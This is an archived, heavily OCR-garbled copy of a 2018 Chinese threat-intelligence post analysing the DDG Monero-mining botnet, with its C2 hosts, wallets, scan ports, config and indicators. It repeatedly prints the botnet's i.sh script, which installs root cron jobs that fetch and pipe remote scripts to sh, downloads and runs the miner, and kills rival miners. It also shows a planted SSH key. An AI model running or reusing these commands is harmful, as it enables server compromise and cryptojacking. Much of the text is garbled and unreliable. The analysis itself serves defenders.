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DDG.Mining.Botnet I {iiEShMT

By JiaYu

Published: 2018-06-13 - Archived: 2026-04-05 19:55:13 UTC
UPDATE(2018.6.13)
6.12 B , FA1¥%MZ DDG.Mining. Botnet X & T FARAS , SBThRA A v3012 , EHMEENT -

o FH#TE C2 4 69.64.32.12:8000 ;

o ERARIFAIEEM Lsh A ;

o &M C2IPFIEK;

o RIGELE RGN, WIBAREETN , RERE@SR C2 WARBHERM RN C2 ;

o WHLFERF. W ith Proxyld & XMR Wallet ¥R A5 4k, , Wallet it :
42d4D8pASAWghy TmUS8a9yZyEr AdWB18TJ6Xd2rZt9HBio2aPmAAVpHCPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYC
FEW it supportxmr.com 77 TotalPaid k) 177.5497873784 XMR ; 7Ef i nanopool.org 71 TotalPaid ]
6.057345747571 XMR ,

B C2 EEA :
Jroot/.ddg/hub/static x _
&« c o D 69.64.32.12:8000/static
/root/.ddg/hub/static

. _011 dir, last modified 2018-06-12 07:25:10 +0000 UTC
¢ 3012 dir, last modified 2018-06-12 07:23:04 +0000 UTC
o gW3xT, file, 1252480 bytes, last modified 2018-05-24 15:51:10 +0000 UTC

o gW3xT.1, file, 1256576 bytes, last modified 2018-05-29 13:56:16 +0000 UTC

R OHAIT

md5=e31c1d7a8025e7c3266a07e37c55a4ba uri=hxxp://69.64.32.12:8000/static/3012/ddgs.i686
md5=26b3aef91bacfab82deff9812acf7875 uri=hxxp://69.64.32.12:8000/static/3012/ddgs.x86_64

BT i.sh AT

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * cyrl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" > /var/spool/cron/root

echo "*/5 * * * * wget -q -0- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/5 * * * * cyrl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -0- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3012 || rm -rf /tmp/ddgs.3012
if [ I -f "/tmp/ddgs.3012" ]; then
curl -fsSL hxxp://69.64.32.12:8000/static/3012/ddgs.$(uname -m) -o /tmp/ddgs.3012
fi
chmod +x /tmp/ddgs.3012 && /tmp/ddgs.3012
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ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill

ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill

ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill

#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill

#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

A& C2 1P AR AS{SE List 20F -

iplist v3012.txt

UPDATE(2018.6.1)

521 B , HA1&A T XT DDG Mining Botnet (IEHESN ARG . FAVAILT ddgs v3010 F v3011 FIAHRASEKIAR
KA, FECENERBEIRIZN HATRINT 5 ddg v20xx fRAREK XMR Wallet, {BFRF ddgs v3011 iRAHK)
BAFARBEERE PUTIZHHRIE |, TANE v3011 IRAEME AR A ST ERA. 3R , FAIK XMR Wallet )
PWWES , B2A v3011 hRAZ BTRARASIZH FTiF.

531 H , #{1% M%) DDG.Mining Botnet X B T HzNZ , KA 7 HHXHER , MW T :

1. ERTVHNRER ;

2. %47 ddgs v3011 {1 x86_64 JRAMREA (ZBTRTH i686 hiA<) ;
. EHTEAC2IPEIEK ;

4. T #l> Shell BIASC 4 ish .

r—
I oot ctg/mbytatic xew — A e — AL XX

<« C o (@ 165.225.157.157:2000/static/ 2N

/root/.ddg/hub/static

...
o 2t3ik file, 2214320 bytes, last modified 2018-04-05 17:32:18 +0000 UTC

» 2t3ik.m, file, 1170336 bytes, last modified 2018-04-09 01:24:21 +0000 UTC

o 2t3ik.p, file, 2214320 bytes, last modified 2018-04-08 08:21:03 +0000 UTC

* 2t3iks, file, 1621848 bytes, last modified 2018-04-05 15:47:38 +0000 UTC

* 3010, dir, last modified 2018-04-01 13:39:16 +0000 UTC

3011, dir, last modified 2018-05-31 02:33:50 +0000 UTC

imWBR1, file, 5179728 bytes, last modified 2018-03-08 08:38:40 +0000 UTC
imWBR1.ig, file, 835496 bytes, last modified 2018-04-02 01:55:16 +0000 UTC
qW3xT, file, 1252480 bytes, last modified 2018-05-24 15:51:10 +0000 UTC
aW3xT.1, file, 1256576 bytes, last modified 2018-05-29 13:56:16 +0000 UTC
wnTKYqg, file, 1361472 bytes, last modified 2018-03-08 08:38:48 +0000 UTC
wnTKYg.noaes, file, 1365824 bytes, last modified 2018-03-08 08:38:51 +0000 UTC

A AR

RHTEW HFER qW3XT #l1 qW3xT.1 , F§ XMRig2.6.2 giF Mk , #4124 64Bit ELF 304 :

c50d3e20b3519f096630e31277fefceb, hxxp://165.225.157.157:8000/static/qW3xT, 1252480 bytes, last modified 2018-05-24 15:5°
532a35a8d0fe4944c24575c0336eff8a, hxxp://165.225.157.157:8000/static/qW3xT.1, 1256576 bytes, last modified 2018-05-29 13:!

WHLATERAT LR fE A XMR Wallet 3507404k, , RUEH 7t Proxy FIZ BT 47.90.204.154 AR T
47.52.57.128/165.225.157.157 FA,

Page 2 of 9


http://get.bi-chi.com/
http://get.bi-chi.com/
http://get.bi-chi.com/
http://get.bi-chi.com/
http://get.bi-chi.com/
http://get.bi-chi.com/
http://get.bi-chi.com/
http://minexmr.com/
http://minexmr.com/
http://minexmr.com/
https://blog.netlab.360.com/file/iplist_v3012.txt

https://blog.netlab.360.com /ddg-mining-botnet-jin-gi-huo-dong-fen-xi/

ddgs.x86_64

md5=55b1d7b@fa1c479c02660896e05db910 uri=hxxp://165.225.157.157:8000/static/3011/ddgs.x86_64

v3011 lRAE T ddgs.x86_64 , FATLAFE 64bit RETAIKRFETEN LIRFITER, PITAHFEFRIZY 7. AL, v3on
FBEVKRARETLERS , ME—TURFLEITHRSS .

BHIE A c2 1P FIER

5.21 BEATAF T —ilt ddgs.i686 HEABRNERF A C2IP FIFR , ERHTM ddgs.x86_64 FEAE | IKATRIMEH C2
IPHRBAD , RFTEBHRN C2IPFIRINT (SZBINENNES)

iplist v3011 2.txt
i.sh fIAEE)

25 DDG.Mining.Botnet £xHThR v3011 ILFEEEFT T 1686 F1 x86_64 FAMZOMEZA |, ATIATIAER i.sh ik 7 HHN Bk
), ATLUEE ddgs.$(uname -m) SEIEHET 1686 F x86_64 (AT,

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root

echo "*/5 * * * * wget -q -0- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -0- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
if [ ! -f "/tmp/ddgs.3011" 1; then
curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill

ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill

ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill

#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill

#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

JH3r(2018.5.21)
SE2 A 18, BANEBN T — M IEAESUE FEIR S 23420 8 S M4 DDG.Mining Botnet .

B, BAVEERIAR GRS T HHARA 3011 , FEXEFRATEWLE T , 31K TiRA 7379 XAdxinA K33
WRERE . ERRARHEATRIVRILT L , HAE 2 M IERTREESERT 1,419 M XMR, &
JREMFEERNE  RRATREEL T , EFERAR— D SERAE.

DDG 3011 MR AHIEEAHEN T -

« JBRTHTH XMR & /aHE
42d4D8pASAWghy TmUS8adyZyE rA4WB18TI6Xd2r Zt9HB102aPmAAVpHCPM8yoDEYDIFy 7eRVPINRT SKFy TaFbSYCNZ2t3ik  ;

o BUTEFAEA 23k , BGLMRNEEZW , MARKEHIHEKE 51 ;
o BRZAN I, XRAXBIRAE B A—FPERBURT I ;
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o BANREIESHIAM Gol.9.2 AT Gol.10 , FFEMRRLLEM . E=FEMASTEEAEIHTERAYS) ;

o BRT mWEEXY | TMHBRSRE S EERHMNRSIEO . VIR TEEE. ST
FF

o MERIFHFABEEHE] : H ish AE \F| Crontab FERIEH. 1517,

7379 BRSO _ KRR ERE

MR, FKAIH ScanMon REERIR Redis RFAXRIn AR MR ETE , 1T -

dstport: 7379  5days (2012-05-07 00:00 ~ 2018-05-12 00:00 GMT+8)

|l Scan volume per hour

Total count 428k

Uniq srcip 602

Unig srcipi24 :50

Uniq srcas

358
0
2018-05-07 2018-05-08 2018-05-09 2018-05-10 2018-05-11 2018-05-12

Unig sredomain

B Topsrcip B8 Topsrcip24 B8 Topsrcas BB Top srcdomain 88 Top group dstport
Top 100 group dstpert out of 311

dstport Shared srcip » Unig srcip Scan volume by uniq sreip Total count

1 7379 244k 244 267§
2 6380 224k 247k 2884
3 6379 891 253k 10.9M
4 8000 B 618 30.4k
5 22 8 6.3% 2.l
6 2222 4 1[35k 486k
7 22022 2 15 5.12k

LEF, SRIFEARNREKRA T 74, 23R ¢

« Redis FF*<E =" : 6379, 6380, 7379
o SSHAHRERI=A @ 22,2222, 22222
o HTTP #¥M—4 : 8000

HNAEA RSB ADH AT AU , DDG HihRA ddgs.3011 AR5 £ ScanMon MEREIISRAE
FRE, XELUER , DDG RIRAKIESS| 2T A% 7379 RABXRIHH _ERI#ITA.

BAPITIRE
AR T X IR FLFARR AL OFEAS
hxxp://165.225.157.157:8000/static/3011/ddgs. 1686 md5=999fc2453034b4c73866a0699be15fa

GHEARPITIRAZT ¢
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ddgs.3011 l4 ----- :

Connect to IP
List

Fetch Conf Data From
Remote Host

_— |

\J :
Inject SSH Pub K y Extract Scan DstPorts H E:Extrald ’:'“SERIL
nJectTD Loc:\ i Madify Local Crontab ownloa

Add ish Worm—prépagat\on *

| Generat Scan DstIP Fetch Miner From
C2 Via Conf Data
Y : ¢

Scan&Crack SSH|Redis H
H Execute Miner

Modify Crontab
Addish

.

Download dds.3011
Via i.sh

~/.ssh/authorized_keys

v
nd |
- J

FIEREARBBHMEMZAL , BIBITIE ish BZAIEAE] Linux RETAIXSH) Crontab FRECIIFFRIFES, HT ish A
NAWMT :

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * cyrl -fsSL hxxp://165.225.157.157:8000/1i.sh | sh" > /var/spool/cron/root

echo "*/5 * * * * wget -q -0- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/5 * * * * cyrl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -0- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddgs.3011" ]; then

curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill

ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill

ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill

#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
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Passwords|

ddgs.i686 A TELRFAEH A /var/spool/cron/crontabs/root BE{# /var/spool/cron/crontabs 4B \ERHES
A, N=im FEEmFH i.sh HARERBIT ( %s &AmF i.sh THEEEE) |, SUFAORS -

*/1 * % % % curl -L %s | sh

*/1 % * * % yget -q %s -0 - | sh

SRIE , ddgs.i686 3R TE S BTAIRSH ~/.ssh/authorized_keys HiF ARAF SSH Pub Key :

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTxLBb/eKbi@TVVULIBILVtbv2iaGM+eZbZoCWcD3v/eF1B/VKHACTYwIhfqkUYudwhxVfQzs0ZYQmKyapl

ddgs.i686 BEAFRINE T — ip:port ] List , FH&F 2 NEER) 165.225.157.157:8000 F1 165.227.149.151:8000
HhEE&M , £835KR0T -

iplist v3011 1.txt

P ddgs.i686 BRNZ ST , KRKKEE LR ip:port KER BRI :

Tine Seurce Destination Protocel Lengtl Signat Infe

1 16:26:54.516128 165.225.157.157 TCP 74 37222 -» [SYN] Seq=8 Win=29208@ Len=0 MSS5=1468
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SHFA TN ip:port , ddgs.i686 EpL3=a[H hxxp://<C2:8000>/slave &% HTTP POST &K :

Time Seurce Destination Protocel Lengil Signat Infe

46 16:26:54.679180 165.225.157.157 HTTP 208 POST /slave HTTP/1.1

57 16:26:54.853531 123.196.124.52 HTTP 199 POST /slave HTTP/1.1

61 16:26:54.866005 165.225.157.157 HTTP 224 POST /slave HTTP/1.1
2081989 16:27:24.869784 47.93.7.248 HTTP 196 POST /slave HTTP/1.1
283078 16:27:25.0822580 202.45.147.116 HTTP 199 POST /slave HTTP/1.1
395396 16:27:55.835907 165.225.157.157 HTTP 1878 POST /slave HTTP/1.1
397641 16:28:55.391565 165.225.157.157 HTTP 224 POST /slave HTTP/1.1
480143 16:29:54.522813 165.225.157.157 HTTP 169 GET /static/2t3ik.p HTTP/1.1
480239 16:29:55.113877 47.93.7.246 HTTP 196 POST /slave HTTP/1.1
488371 16:29:55.770275 165.225.157.157 HTTP 224 POST /slave HTTP/1.1
480615 16:29:56.420368 165.225.157.157 HTTP 169 GET /static/2t3ik.m HTTP/1.1
400741 16:29:57.855745 202.45.147.116 HTTP 199 POST /slave HTTP/1.1
483344 16:308:55.934468 165.225.157.157 HTTP 224 POST /slave HTTP/1.1
486100 16:31:56.100775 165.225.157.157 HTTP 224 POST /slave HTTP/1.1
487329 16:32:25.825542 47.93.7.246 HTTP 196 POST /slave HTTP/1.1
487578 16:32:28.014438 202.45.147.116 HTTP 199 POST /slave HTTP/1.1
488744 16:32:56.266889 165.225.157.157 HTTP 224 POST /slave HTTP/1.1
411381 16:33:56.433496 165.225.157.157 HTTP 224 POST /slave HTTP/1.1

R C2 IEF THE , NI&IR[E—5 A msgPack 75| 4mbS/aRIACE ST EIR -

POST /slave HTTP/1.1
Host: 165.225.157.157:8600
User-Agent: Go-http-client/1.1
Content-Length:
Content-Type: text
Accept-Encoding: gzip

HTTP/1.1 288 OK

Server: nginx

Date: Mon, 14 May 2018 ©8:27:06 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 1117

X-Your-TIp:

..Data..G..Config. .Interval.6@s.Miner. . .Exe./tmp/2t3ik.p.MdS. b4dbce2047£2254e5e7e8b0730caaee.Url. /static/2t3ik.p. .Exe. /tmp/2t31k.m.Md5.
54259015b8ead372c66da@56769528db. Url. /static/2t31k.m.Cmd. . Adredis. . Id. .. .Version....ShellUrl. http://165.225.157.157:800@/1.sh.Duration.168h.IPDuration.
3h.GenLan. .GenAAA. .Ports. . ......... AAssh..Td....Version....ShellUrl. http://165.225.157.157:800@/1.sh.NThreadsd.Duration.168h. IPDuration.
6h.GenLan. .GenAAA. .Ports. . .... V..Update..Td...Version....Timeout.6m.Exe. /tmp/ddgs.3011.Md5. 999Fc2453034bAc7386620699bel15Fa.Url. /static/3011/
ddgs.1686.Killer...Id...Version....Expr...+(cryptonight|stratumstep: //|dwarfpool.com).+. Timeout.6@s..Id. . .Version. .. .Expr.4. /xmr-stak| . /.syslog| /bin/
wipefs|./xmrig|/tmp/unTKYg. Timeout.6@s..Id. . Version....Expr./tmp/2t3ik.+.Timeout.6@s.LKProc. .. Id. . .Version. . . .Expr. .+.Timeout.

..... VB....V...K.....C}.D

.82

e Cougennnna\odes
>..¥....c..T..za/y.4.k.rh..

FIP |.S....POST /slave HTTP/1.1

RTIXBEHIREE N T RRMNEURLEM | IRRERTNTTIRAERD , 21 msgPack 8RR FIMBAMERENT

'Data’:
Config:
Interval:"360s";
Miner:[
{Exe: "/tmp/2t3ik.p", Md5: "b44bce2047f2254e5e7e8b0730caae2e"”, Url: "/static/2t3ik.p"},
{Exe: "/tmp/2t3ik.m", Md5: "54259015b8ead37ac66da@56769520db", Url: "/static/2t3ik.m"}
1
Cmd: [
(AAredis:{
Id: 6016;
Version: 3011;
ShellUrl: "http://165.225.157.157:8000/i.sh";
Duration: "168h";
alPDuration: "23h";
Genlan;
GenAAA;
Ports: (6379, 6380, 7379)

.,
(AAssh:{
Id: 2017;
Version: 3011;
ShellUrl: "http://165.225.157.157:8000/i.sh";
NThreadsd;
Duration: "168h";
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alPDuration:"26h"

GenLan;
GenAAA;Ports: (22, 2222, 22222)
b,
(Update: (
{
Id: 142;
Version: 3010;
Timeout: "26m";
Exe: "/tmp/ddgs.3011";
Md5: "999fc24f53034b4c73866a0699be15fa";
Url: "/static/3011/ddgs.1686";
Killer: 132;
Yo
{
Id: 197;
Version:3011;
Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com).+"
Timeout: "360s";
h
{
Id: 198;
Version: 3011;
Expr: "./xmr-stak]|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg";
Timeout: "360s";
Vo
{
Id: 199;
Version: 3011;
Expr: "/tmp/2t3ik.+";
Timeout: "360s";
LKProc: 132;
b
{
Id: 177;
Version: 3011;
Expr: ".+";
Timeout: 360s'
}

1,
'Signature': '\x02\x0b_v8\xe4\xa9\xe8\x0fV\xc1\x04\xbeK\xTe\x10\xTa\xc4\xb3C}\xb2\x96D\r\x97 "\xc4\xffF\xdds)\xbf\xc4H\

SEEREEARNT , ATARBUA T LA RERA

1. BRE SR T Miner #2580 URI, MD5 F{RTFEI 4 BTRIASHISCHHEE /2. ddgs.i686 £4RHE URI , BT
HTTP GET 355RM  http://<C2:80005>/Miner_URI 4bFE Miner 253+ RIZEFEE K12

2. FRE SR ML T BT ish ST T ERIE1R | ddgs.i686 2IEXAMBIMAREIE IS NG4S FEF ;

3. LB FERE 7 BRI dstport , TTRLEEISTXT Redis B4 , TEXE ddgs.i686 F3# (6379, 6380, 7379) =4
U6, $TXF SSH RS , FEREF (22, 2222, 22222) =i, (XEBWAfER ScanMon _E 7 Mg 2 [
fEERFR. 18 Redis FREAXE 3 MK05 SSH fRFHERE 3 M50 2 8] Shared scip 2L/, [RAETT
BEREE M E AR ERAMERER X)

4. BB 1) GenLan / GenAAA Xf[V 4 A, Scan Target IP f4E SRR, #EAS K Scan Target IP 4 i SRHE AT
SRRITFIRARASEK) ddg.miner : 4 FRAIPIMIPIEL Target IP SEREIZNT ¢ 10.Y.x.x/16 (Y F4HIAM 1P B B
{H)172.16.x.x/16192.168.x.x/16 4 BT EH|AI/A M IP Hilit WAN_IP |, SR /57E WAN_IP/8 TSPy AR\ P RRER
Target IP . {ERHFANAMIIEFIRE , WTHLEF |, $I33AR Target IP , R33# SSH ARG HXH 3 4
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A, RAMEIUML_ EE1TERAST SSH RS |, BRRRRAFRIE] T M-RRSMNRtE , S5t 3F 5N
Target TP 333# Redis A <m0,

5. BREXHHGE T ddgs HAREMRLE « BHNRAS, 4B HFRHEIE, C2 35 FEM URI DLREEA
B MD5 , A2 H ] ddgs.i686 HEARSARIEIX L E EXT AMAE ARSI T .

20

BARIBECEX T , SARIBECESCHF Miner KSR , 2T 3K 23ik.p M 23ik.m B A RTRFEENK) /amp/ B3R,
PSR XMRig 2.5.2 F 0 AR , BAXHIRE , KREMERH—

o ML (FRHER)

42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmA AVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t
o RN 1 47.90.204.154hk02.supportxmr.compool.supportxmr.comxmr-asial.nanopool.orgxmr-us-

westl.nanopool.orgELFR 47.90.204.154:443 Bt Proxy , XEHLT FIE X ;720 M supportxmr.com FRK)

TotalPaid ] 150.5194868540 XMR , IRU4BTHHIT& AR 181,311.3 ¥ ; W7t nanopool.org =

TotalPaid: 1268.5880545439 XMR , R LeTHHITE AR 1527,519.6 ¥,

3011 B—/ MU iR

&EES—IRHE | ddgs.i686 2 32bit ELF X4 , T'E FEEIH 2e3ik.p 1 2t3ik.m #FRE 64bit ELF 30 , XFE—

X, EESINEF | VNREFHFEENAET. MA , RA 3011 R
hxxp://165.225.157.157:8000/static/3011/ddgs.1686 X—HuiMEA , TR ZA 3010 , FA7E7E ddgs.i686 F1

ddgs.x86_64 FIMZ AR, BTRL , TTRUAKRRA 3011 BT TR EL | & RR—MTERA.

IoC

Sample

md5=9ebf7fc39efe7c553989d54965ebb468 uri=hxxp://165.225.157.157:8000/static/imWBR1
md5=d3b1700a413924743caab1460129396b uri=hxxp://165.225.157.157:8000/static/wnTKYg
md5=8eaf1f18c@06ebecacfbladbef7faee uri=hxxp://165.225.157.157:8000/static/wnTKYg.noaes
md5=7544871d92e282c98acf6528604049aa uri=hxxp://165.225.157.157:8000/static/imWBR1.ig
md5=52f06ca981abebcbc89Ib095eabdb1bf9 uri=hxxp://165.225.157.157:8000/static/2t3ik.s
md5=b44bce2047f2254e5e7e8b0730caae2e uri=hxxp://165.225.157.157:8000/static/2t3ik.p
md5=54259015b8ead37ac66dab56769520db uri=hxxp://165.225.157.157:8000/static/2t3ik.m
md5=76e8d7bf408b3b6ebd13d6b292519742 uri=hxxp://165.225.157.157:8000/static/2t3ik
md5=999c24f53034b4c73866a0699be15fa uri=hxxp://165.225.157.157:8000/static/3011/ddgs.i686
md5=8ab02497219bda76c959f86386a2c363 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.i686
md5=45774309c72839d6d4303024059¢7070 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.x86_64
md5=884a57a0e4f9d222117aeca111095d7a uri=hxxp://165.225.157.157:8000/1i.sh

Source: https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi
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